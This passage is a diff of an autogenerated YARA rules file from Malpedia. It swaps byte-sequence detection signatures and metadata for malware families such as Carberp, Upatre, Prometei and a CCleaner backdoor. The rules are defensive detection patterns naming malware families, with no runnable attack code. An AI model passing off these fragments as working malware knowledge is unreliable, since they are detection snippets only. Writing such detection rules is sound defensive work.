+		logic_hash = "a7da77f2b75075e9b17ce3132c822da8d2432067b99e241b1e6927c5f09a8d94"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { ff15???????? 83ec0c 83f8ff 0f8487010000 89c7 b802000000 c70424???????? }
+		$sequence_1 = { b802000000 c70424???????? 6689442420 ff15???????? 83ec04 c70424???????? 89442424 }
+		$sequence_2 = { 8d5c2430 c644241f00 c744240c00000000 c744240800900100 895c2404 893c24 ff15???????? }
+		$sequence_3 = { a1???????? 8b988000986d 85db 74da }
+		$sequence_4 = { 8d860000986d 8955cc e8???????? 8b45cc }
+		$sequence_5 = { 893c24 ff15???????? 83ec10 83f800 }
+		$sequence_6 = { e9???????? 0fb7810000986d 894dc0 89c7 81cf0000ffff 6683b90000986d00 0f48c7 }
+		$sequence_7 = { 85c0 74e9 a1???????? 8b988000986d 85db 74da 895c2404 }
+		$sequence_8 = { 837c243401 753d c744241400000000 c744241000000000 }
+		$sequence_9 = { 85c0 b801000000 0f44d0 8854241f 8974240c 896c2408 }
 
 	condition:
-		7 of them and filesize <10821632
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Elf_Persirai_Auto : FILE
+rule MALPEDIA_Win_Polpo_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a8d888a8-efae-5fcd-8298-ba3399d89281"
+		id = "f09c9fa9-68a5-510c-9c07-2bf30033e8be"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.persirai_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polpo"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.polpo_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "091433f152a0a1932173079b7afa5457b62363ecd6425f8d1d7de8df73a8fbb4"
+		logic_hash = "d086587d6209a1b4d39f14c8bf11bcdd8bb5ac2527f8607c317abb5534459f55"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130283,32 +137445,32 @@ rule MALPEDIA_Elf_Persirai_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c3 c3 53 83ec08 e8???????? 31d2 8b5c2414 }
-		$sequence_1 = { 8b5c2410 837c241400 740b 83ec0c ff7304 ff13 83c410 }
-		$sequence_2 = { 50 52 e8???????? 58 8d8424d8170000 50 e8???????? }
-		$sequence_3 = { 8d4400e0 50 e8???????? 89c2 a3???????? 83c410 83c8ff }
-		$sequence_4 = { 817c2414ff030000 0f8770030000 8b442414 c1e004 83b888a2050800 0f85df000000 8b0d???????? }
-		$sequence_5 = { c7042408000000 50 a1???????? 6a1a 6a01 50 e8???????? }
-		$sequence_6 = { 83c418 5b c3 81ecac000000 31d2 a1???????? }
-		$sequence_7 = { 85c0 74cb e8???????? 52 52 8b00 }
-		$sequence_8 = { c680b901000000 8b45f0 e8???????? 89f0 8b55f0 e8???????? 8b45f0 }
-		$sequence_9 = { 83c004 89442418 e9???????? bf0a000000 e9???????? bf10000000 e9???????? }
+		$sequence_0 = { 6800040000 8d8decfbffff 51 50 ffd7 6a00 }
+		$sequence_1 = { 50 8d85ecf7ffff 50 8d8decfbffff 51 ff15???????? 40 }
+		$sequence_2 = { 6a02 52 ff15???????? 8b03 50 ff15???????? }
+		$sequence_3 = { c1e606 03348540b30120 8b45f8 8b00 8906 }
+		$sequence_4 = { 57 33c0 6806020000 898d98f9ffff 50 8d8df6fdffff 51 }
+		$sequence_5 = { 8d854cffffff 8bd0 8d642400 8a08 40 3acb 75f9 }
+		$sequence_6 = { 52 50 ff15???????? 6a00 6800040000 8d8dfcfaffff 68???????? }
+		$sequence_7 = { 8a08 40 3acb 75f9 2bc6 8dbd4cf7ffff }
+		$sequence_8 = { 51 8985d0dfffff 8985d4dfffff 8885dcdfffff e8???????? }
+		$sequence_9 = { ffd6 85c0 8b859cfdffff 50 0f8516020000 ff15???????? 8d45a4 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <250880
 }
-rule MALPEDIA_Win_Upatre_Auto : FILE
+rule MALPEDIA_Win_Molerat_Loader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1628c1f9-1d48-5501-a98b-2c8f976e35eb"
+		id = "6649c702-0322-5056-bfb1-5bb59b0b659a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.upatre_auto.yar#L1-L164"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.molerat_loader_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "ec286f640db5a5b7bffd2eededa524e0947ea3452d78b30e2aeb2f315c32ce53"
+		logic_hash = "9e4d3c42bd1eb8db57dd9c545f5a5ad86009e39e60f601bd2428ef16d555d86e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130322,38 +137484,32 @@ rule MALPEDIA_Win_Upatre_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 66ab 33c0 66ab bbff0f0000 8b75f0 }
-		$sequence_1 = { 8945fc 8bd8 03c1 8bf8 33c0 }
-		$sequence_2 = { 894d90 8b4d8c 85c9 7501 c3 57 }
-		$sequence_3 = { 7414 4e 56 ff75f0 }
-		$sequence_4 = { 0430 66ab 81c60e010000 ac }
-		$sequence_5 = { 8945ec 6a00 8d4dc0 51 ff75e0 ff75bc ff75ec }
-		$sequence_6 = { 895d98 8bfb 03d8 b91c010000 }
-		$sequence_7 = { b900100000 03c1 8945f0 03c1 }
-		$sequence_8 = { 83c008 8945bc 8b4dbc 8b5104 52 }
-		$sequence_9 = { 8b55d4 8b440a1c 8945f4 8b4df0 }
-		$sequence_10 = { 0f94c0 85c0 7436 8b4dd8 83c102 2b4de8 }
-		$sequence_11 = { e3c9 1bb6aeaca844 bbcdcc70e8 739c d4ef }
-		$sequence_12 = { eb2b 8b4df4 8b510c 52 e8???????? 83c404 0fb7c0 }
-		$sequence_13 = { 8b4508 0345f0 0fbe08 8b5510 0faf55f8 0faf55f0 33ca }
-		$sequence_14 = { 8945dc 8b4ddc 668b11 668955f0 0fb745f0 }
-		$sequence_15 = { 894df4 8b55f4 3b550c 7d28 }
+		$sequence_0 = { 83c40c 68???????? 50 8d8dc0fdffff 51 c645fc18 }
+		$sequence_1 = { 68???????? e8???????? 8b4d58 e8???????? e9???????? 68???????? e8???????? }
+		$sequence_2 = { 7d0d 8a4c181c 888860464400 40 ebe9 33c0 8945e4 }
+		$sequence_3 = { 83c40c 8d957cffffff 52 50 8d85d0fdffff 50 c645fc3a }
+		$sequence_4 = { 50 8b4204 ffd0 8d4d0c e8???????? 8d8da0fdffff c645fc07 }
+		$sequence_5 = { 7f0a 8b08 8b11 50 8b4204 ffd0 c645fc69 }
+		$sequence_6 = { 8b95ecfeffff 8995e8feffff c745fc01000000 b8???????? c3 c645fc00 }
+		$sequence_7 = { 8d4c247c c68424d800000002 e8???????? 8d54247c 52 c7842480000000e8c64300 e8???????? }
+		$sequence_8 = { 83c010 83c404 8945e8 68???????? 68???????? 8d4de4 51 }
+		$sequence_9 = { 8d8d74ffffff c645fc03 e8???????? 8d8574ffffff 50 8d4d5c 68???????? }
 
 	condition:
-		7 of them and filesize <294912
+		7 of them and filesize <688128
 }
-rule MALPEDIA_Win_Carberp_Auto : FILE
+rule MALPEDIA_Win_Agendacrypt_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ca3e7da8-ad9c-59f4-8614-8b1382409083"
+		id = "20fa12ae-39fc-589c-ac17-0baa3bbfd44a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.carberp_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.agendacrypt_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "1e5a666bd6ef8c024c58bd150c2d57a0675cba836a8af1e051301be69118758b"
+		logic_hash = "b4f726649ba175df63b497d8d60f55fe36fe0cd2719e493aac65ae353f8a7651"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130367,32 +137523,32 @@ rule MALPEDIA_Win_Carberp_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b8???????? 50 6a00 50 e8???????? 8b4518 8945e4 }
-		$sequence_1 = { 68f5a40f7d 6a0d 6a00 e8???????? 68da6772c2 6a0d 6a00 }
-		$sequence_2 = { ff75fc 56 ff15???????? 8bf0 8d45f8 50 e8???????? }
-		$sequence_3 = { 0f848d000000 6683f832 0f8483000000 6683f821 0f8548010000 57 8d8588fdffff }
-		$sequence_4 = { 7407 50 e8???????? 59 ff45f4 8b45f4 3b45f0 }
-		$sequence_5 = { 668945f6 58 6a72 668945f8 58 6a5c 668945fa }
-		$sequence_6 = { ff7658 e8???????? 83c418 83665800 5e 5d c3 }
-		$sequence_7 = { 59 59 85f6 7419 ff7510 56 6a04 }
-		$sequence_8 = { 6800000040 ff7508 ffd0 8bf8 83ffff 7504 33c0 }
-		$sequence_9 = { c645f867 c645f96c c645fa57 c645fb6e c645fc64 885dfd 895dc8 }
+		$sequence_0 = { eb20 8b55ec 8975e8 89f1 57 53 e8???????? }
+		$sequence_1 = { 8d55b0 e8???????? eb25 c745b000000000 8d4dd0 8d55b0 e8???????? }
+		$sequence_2 = { c1e204 88443110 89f8 f7d0 c1e004 f30f7e0403 f30f7e4c0308 }
+		$sequence_3 = { c1c71a 31fa 8b7b04 89c3 339d70ffffff 0fcf 21cb }
+		$sequence_4 = { e9???????? 8d543210 8b7508 f20f104a30 f20f114e40 f20f104a28 f20f114e38 }
+		$sequence_5 = { f20f1101 8b55f0 8d4da8 ff7518 ff7514 ff7510 ff750c }
+		$sequence_6 = { f20f1145c8 0f82de010000 80ff0a 894804 0f85c9000000 8b7d0c 8b55ec }
+		$sequence_7 = { f20f114c2438 f20f108c2488000000 f20f11542430 f20f105028 f20f11442440 f20f115c2418 f20f1018 }
+		$sequence_8 = { e8???????? e9???????? ffb424fc000000 e8???????? e9???????? e8???????? 89c3 }
+		$sequence_9 = { ffd1 83c404 8b8c24a0190000 83790400 741f 8b84249c190000 83790809 }
 
 	condition:
-		7 of them and filesize <491520
+		7 of them and filesize <3340288
 }
-rule MALPEDIA_Win_Snatch_Loader_Auto : FILE
+rule MALPEDIA_Win_Chir_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "27465de5-7033-587f-a756-9377f064a810"
+		id = "18ccfa9f-30e1-5e52-b265-5cee479b1cb5"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch_loader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.snatch_loader_auto.yar#L1-L176"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chir"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chir_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "0092d0e62ac35cefc4568a8a8fbdf579b918d859e448f714bc73aa915417d36e"
+		logic_hash = "3243cfbae6092a474cd7d4359f5703dd14295b3f14d9c12875310667b98d1cdf"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130406,40 +137562,34 @@ rule MALPEDIA_Win_Snatch_Loader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 66894606 a1???????? 85c0 7522 6a02 59 }
-		$sequence_1 = { 8bc8 8b45fc 33d2 85c9 5e 0f45c2 8be5 }
-		$sequence_2 = { 51 56 56 ffd0 8bc8 8b45fc 33d2 }
-		$sequence_3 = { 33f6 8bd9 57 85c0 7522 6a02 }
-		$sequence_4 = { ffd0 5f 85c0 7509 8bce e8???????? }
-		$sequence_5 = { ffd0 85c0 8bce 0f457dfc }
-		$sequence_6 = { 85c0 7505 8b45fc eb0d 53 53 }
-		$sequence_7 = { 33f6 8bd6 8975fc 66397102 740b 42 }
-		$sequence_8 = { 46 3bf3 76d8 33c0 48 5a 59 }
-		$sequence_9 = { 741f 3a0439 7514 41 3b4df8 }
-		$sequence_10 = { 68???????? 58 ffd0 8945f0 0bc0 }
-		$sequence_11 = { 33d2 33c9 8a0431 0ac0 741f }
-		$sequence_12 = { 52 ff750c e8???????? 8945fc 0bc0 7454 394508 }
-		$sequence_13 = { 55 8bec 83c4fc 53 33db 837d0800 }
-		$sequence_14 = { 3b45fc 773b 8b750c 8b7d10 037508 8bde }
-		$sequence_15 = { 7206 3c5a 7702 0c20 c1c210 }
+		$sequence_0 = { 47 8811 3bf8 72e7 }
+		$sequence_1 = { 8d4c3df0 8a11 80f2fc 80c202 }
+		$sequence_2 = { e8???????? 48 59 8bcb 7419 }
+		$sequence_3 = { 5e 7419 8d4c35f8 8a11 80f2fc }
+		$sequence_4 = { 8d45f0 50 c745f021352432 c745f451173300 e8???????? 48 }
+		$sequence_5 = { c745f451173300 e8???????? 48 59 8bfb }
+		$sequence_6 = { 8d4c35f0 8a11 80f2fc 80c202 80f201 }
+		$sequence_7 = { 8a19 80f3fc 80c302 80f301 80c303 42 }
+		$sequence_8 = { 7415 8d4c15f8 8a01 34fc }
+		$sequence_9 = { 8a11 80f2fc 80c202 80f201 80c203 46 8811 }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Pitou_Auto : FILE
+rule MALPEDIA_Win_Ccleaner_Backdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8ffbef2d-72c2-5fd0-bc80-d9aaff0b569e"
+		id = "fc5d42e4-2b09-51e8-9476-e6d57b9f6fbe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pitou_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ccleaner_backdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ccleaner_backdoor_auto.yar#L1-L264"
 		license_url = "N/A"
-		logic_hash = "e9d79d3aa0dabaeee54f58f2a742dc54ca18da56fbfe8d220d28635b8791c96b"
+		logic_hash = "437c1ac4e0723d85ccca29c304bbc711ed3ae66fbe1eeb3f8d5172b567e72b6c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -130451,32 +137601,51 @@ rule MALPEDIA_Win_Pitou_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bda c1e305 03c3 8bda }
-		$sequence_1 = { ac 8bda c1e305 03c3 8bda c1eb02 03c3 }
-		$sequence_2 = { c1e305 03c3 8bda c1eb02 }
-		$sequence_3 = { 8a6201 80f457 8acc 80e103 }
-		$sequence_4 = { 8bda c1e305 03c3 8bda c1eb02 03c3 33d0 }
-		$sequence_5 = { 8a12 80f257 8ada c0eb02 }
-		$sequence_6 = { c1e305 03c3 8bda c1eb02 03c3 33d0 }
-		$sequence_7 = { 53 80ef18 80ff10 5b }
-		$sequence_8 = { 80f457 8acc 80e103 8aec }
-		$sequence_9 = { ac 8bda c1e305 03c3 8bda }
+		$sequence_0 = { 57 ffd6 50 ff15???????? 8b3d???????? }
+		$sequence_1 = { ff15???????? 8b3d???????? 59 ffd7 }
+		$sequence_2 = { 750a b857000780 e9???????? e8???????? }
+		$sequence_3 = { 01460c 488b3f 493bfc 0f8554ffffff }
+		$sequence_4 = { 00cc cc 4883ec28 488b11 }
+		$sequence_5 = { 49 75f9 ffd3 6800400000 }
+		$sequence_6 = { ff75f0 ff15???????? 85c0 0f850c010000 8b35???????? 53 }
+		$sequence_7 = { 01442424 eb30 8b4508 897518 }
+		$sequence_8 = { 03c0 894340 8b7340 418bc4 }
+		$sequence_9 = { 03c6 4863d0 4c8d0c12 4c8d4718 }
+		$sequence_10 = { 03c6 85c0 7f09 488b0a 488b01 ff5008 488b4b28 }
+		$sequence_11 = { 891d???????? 68???????? 6a03 53 68???????? ff742424 891d???????? }
+		$sequence_12 = { 6a04 50 8d45e0 6a04 50 8d85e0feffff 50 }
+		$sequence_13 = { c1e008 8d8418a1000000 50 e8???????? 85c0 7545 }
+		$sequence_14 = { 012e 33c0 5f 5e 5d }
+		$sequence_15 = { 00cc cc 4057 4883ec50 4533db }
+		$sequence_16 = { 8b7df8 0faff8 ffd6 33f8 }
+		$sequence_17 = { 01442454 03d1 294c2450 8b4c2410 }
+		$sequence_18 = { 50 68???????? ff742418 ff15???????? 85c0 0f8579010000 }
+		$sequence_19 = { c7471854b40210 c1e803 3bc1 7302 8bc8 6afd }
+		$sequence_20 = { 3bc2 7661 89450c 8a06 46 50 e8???????? }
+		$sequence_21 = { 013d???????? 8b04b5d8970210 0500080000 3bc8 }
+		$sequence_22 = { 3b7d10 0f8264010000 3bfa 0f835c010000 2bda 8d4602 }
+		$sequence_23 = { 013e 33c0 8b16 83c410 }
+		$sequence_24 = { e8???????? 8b4510 59 f7d8 }
+		$sequence_25 = { 01442418 03c8 8954242c 8b542470 }
+		$sequence_26 = { 01461c 8b542424 85d2 7405 }
+		$sequence_27 = { 01cc cc 48895c2408 57 }
+		$sequence_28 = { 4c 8bca c1e002 4c 03d5 48 }
 
 	condition:
-		7 of them and filesize <1106944
+		7 of them and filesize <377856
 }
-rule MALPEDIA_Win_Unidentified_078_Auto : FILE
+rule MALPEDIA_Win_Neutrino_Pos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "de8cdecb-4380-57eb-b923-e2ba443932e2"
+		id = "3a77c0fc-cd49-5986-b2b4-8a8639992c93"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_078"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_078_auto.yar#L1-L110"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neutrino_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.neutrino_pos_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "d08e32bbc4aa8e2920b084e5d720f452f9f589f09a38ee6e42b2e5fd17bef5f8"
+		logic_hash = "d3da7317997b76876b14e53b428d397cde821604c2c6da81c73b18c8b2dd677f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130490,32 +137659,32 @@ rule MALPEDIA_Win_Unidentified_078_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7d21 8a440b10 3c5c 7419 }
-		$sequence_1 = { e8???????? 84c0 7467 f60701 }
-		$sequence_2 = { e9???????? 80fa5b 7f3c 80fa28 0f8d94010000 }
-		$sequence_3 = { 80fa0d 0f8421010000 80fa1b 0f8576010000 ba02000000 e8???????? }
-		$sequence_4 = { 80fa7e 0f8f02010000 e9???????? ba02000000 }
-		$sequence_5 = { b901010000 ff15???????? 85c0 740e e8???????? }
-		$sequence_6 = { 0f8cee000000 80fa0d 0f8421010000 80fa1b 0f8576010000 }
-		$sequence_7 = { 0f8f18010000 80fa23 0f8d82010000 ba02000000 }
-		$sequence_8 = { 753f a900004011 7521 a900000600 }
-		$sequence_9 = { 0f8d94010000 80fa26 0f8f18010000 80fa23 0f8d82010000 }
+		$sequence_0 = { 68fbd5fba3 43 53 897dfc e8???????? 83c40c 56 }
+		$sequence_1 = { 5a 6a71 6689955affffff 5a 6a61 6689955cffffff }
+		$sequence_2 = { 6863ad115b 6a04 c745e801000000 8945f4 e8???????? 59 }
+		$sequence_3 = { e8???????? 59 59 6a00 56 e9???????? }
+		$sequence_4 = { 6a62 66898556ffffff 58 6a53 66898558ffffff }
+		$sequence_5 = { 59 6a64 66898d6cffffff 59 6a68 66898d6effffff 59 }
+		$sequence_6 = { 6a63 6689854cffffff 58 6a62 6689854effffff 58 6a69 }
+		$sequence_7 = { 66895db2 6a64 8bd9 66895db4 8bd8 66895db6 5b }
+		$sequence_8 = { 8b45e0 8b08 6a03 50 ff5138 }
+		$sequence_9 = { 66894dd6 66894dd8 66894dda 66894ddc 66894dde 66894de0 66894de2 }
 
 	condition:
-		7 of them and filesize <688128
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Catchamas_Auto : FILE
+rule MALPEDIA_Win_Stration_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f5823958-4dc9-52e1-b587-ac7a6b699e31"
+		id = "b1ff0234-14a0-5584-b678-4973125b246b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.catchamas"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.catchamas_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stration"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.stration_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "49e84bf121f6f46a8c4833df80092f815e20586f9bd57ea545ff931ae803e6c2"
+		logic_hash = "1e976189a59a2a64efd8d3bfcb5fabcc1cb05f5b8a248de2fec831e10609d819"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130529,32 +137698,32 @@ rule MALPEDIA_Win_Catchamas_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd6 6808080000 8d54246c 52 }
-		$sequence_1 = { 5f 5e 8b8c247c200000 33cc e8???????? }
-		$sequence_2 = { 6a00 ff15???????? e8???????? 8bcb 8b5c244c 51 }
-		$sequence_3 = { 6683f814 0f84c4080000 833d????????00 0f85af000000 }
-		$sequence_4 = { 50 bf01000000 ff15???????? 56 ff15???????? 85ff 0f851a010000 }
-		$sequence_5 = { 50 8d8c2494100000 68???????? 51 ff15???????? 83c42c 33c0 }
-		$sequence_6 = { 84c0 8b45e0 7409 e8???????? 8bfc eb32 }
-		$sequence_7 = { ffd7 6a0a 56 8be8 ffd7 8bf8 }
-		$sequence_8 = { 83e802 0f84bf090000 83e80d 0f845a090000 }
-		$sequence_9 = { 51 57 8bf0 50 ebbd e8???????? }
+		$sequence_0 = { 6a00 6a01 baf1000000 8bcb e8???????? 55 6a01 }
+		$sequence_1 = { 56 e8???????? 83c408 6a00 6a01 baf1000000 8bcd }
+		$sequence_2 = { e8???????? 680b040000 56 8944241c }
+		$sequence_3 = { c1fa05 891424 8bd1 52 e8???????? a3???????? 8b4c241c }
+		$sequence_4 = { ba11010000 8bce e8???????? c705????????00000000 }
+		$sequence_5 = { 8b15???????? 89442404 a1???????? 894c2408 8a0d???????? 89442410 8954240c }
+		$sequence_6 = { 33f6 85ff 893d???????? 7517 a1???????? 85c0 c605????????00 }
+		$sequence_7 = { 8a540404 c1e910 32d1 88540404 }
+		$sequence_8 = { 83f80d 7cec 8b15???????? a1???????? 8b0d???????? 891424 668b15???????? }
+		$sequence_9 = { eb05 bd14000000 660935???????? 8d542434 52 8d8424b4000000 }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Unidentified_109_Auto : FILE
+rule MALPEDIA_Win_Prometei_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c4f891e4-f77b-5dbc-bacf-3b1d550b883c"
+		id = "f30d42cb-2af1-5154-8e15-89c897952439"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_109_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.prometei_auto.yar#L1-L159"
 		license_url = "N/A"
-		logic_hash = "553f5c1aaae307ba70f86b75a4cbec28cc4c8b523dbd68b695bc6b2028248608"
+		logic_hash = "5377a5e6947b9cd903f94c70f6185011aeea6f018af2aa2974c11199d44376b8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130568,34 +137737,40 @@ rule MALPEDIA_Win_Unidentified_109_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d55df 488d4df7 4c8d45f7 e8???????? 8bf0 85c0 }
-		$sequence_1 = { 7405 85db 0f44d8 0fb68fa2030000 0fbe45ab 3bc1 7e11 }
-		$sequence_2 = { e8???????? 488bcb e8???????? 488bdf 4885ff 75b5 488b742430 }
-		$sequence_3 = { 8b07 418b09 4883c704 4d8d4904 480fafcd 4803c8 418bc0 }
-		$sequence_4 = { 2b8300010000 3bc5 7312 8bd5 488bcb e8???????? 85c0 }
-		$sequence_5 = { 4c8b3a 4c8be1 4c8bea 488d4c2420 41b8a8040000 33d2 }
-		$sequence_6 = { 23c6 440bf0 8d040a 418bd3 4403f0 418bc3 c1c80b }
-		$sequence_7 = { eb77 418d41ff 4863c8 488d048f 33ff 4d8d048a }
-		$sequence_8 = { 0f8462020000 83b90001000000 7621 e8???????? 89834c020000 85c0 0f8550020000 }
-		$sequence_9 = { 4289449efc 4c3bdd 7c8b 8b442450 8b0b 4c8b742420 8903 }
+		$sequence_0 = { 011d???????? 03c8 8b5de4 a1???????? }
+		$sequence_1 = { 8bf0 83feff 7425 6a00 8d45d8 50 }
+		$sequence_2 = { 014364 8b45e4 014368 5b }
+		$sequence_3 = { bb8c132400 4a af e8???????? 1401 d000 }
+		$sequence_4 = { 014358 8b45f0 01435c 8b45fc }
+		$sequence_5 = { 014368 81434400020000 c7434000000000 83534800 }
+		$sequence_6 = { 8ac2 0245f0 3001 85d2 }
+		$sequence_7 = { 014360 8b45f4 014364 8b45e4 }
+		$sequence_8 = { 8b55f0 33c9 8b75fc 8b45f8 85c0 }
+		$sequence_9 = { 01c8 93 9e b2e0 e605 78a1 a4 }
+		$sequence_10 = { 013d???????? 8b04b5c8054400 0500080000 3bc8 }
+		$sequence_11 = { 01435c 8b45fc 014360 8b45f4 }
+		$sequence_12 = { 014354 8b45e8 014358 8b45f0 }
+		$sequence_13 = { b901000000 89500c 8bc1 f745c000020000 }
+		$sequence_14 = { 8b3d???????? b801000000 33c9 53 0fa2 5b }
+		$sequence_15 = { 8bc1 2bc7 2bd7 0145fc 81c232240000 8bc1 8955e8 }
 
 	condition:
-		7 of them and filesize <723968
+		7 of them and filesize <51014656
 }
-rule MALPEDIA_Win_Scanpos_Auto : FILE
+rule MALPEDIA_Win_Dreambot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8293fa8e-4228-517c-a26a-04301bca2110"
+		id = "6c3809b8-d477-5125-8734-0179b265a99d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scanpos_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dreambot_auto.yar#L1-L1031"
 		license_url = "N/A"
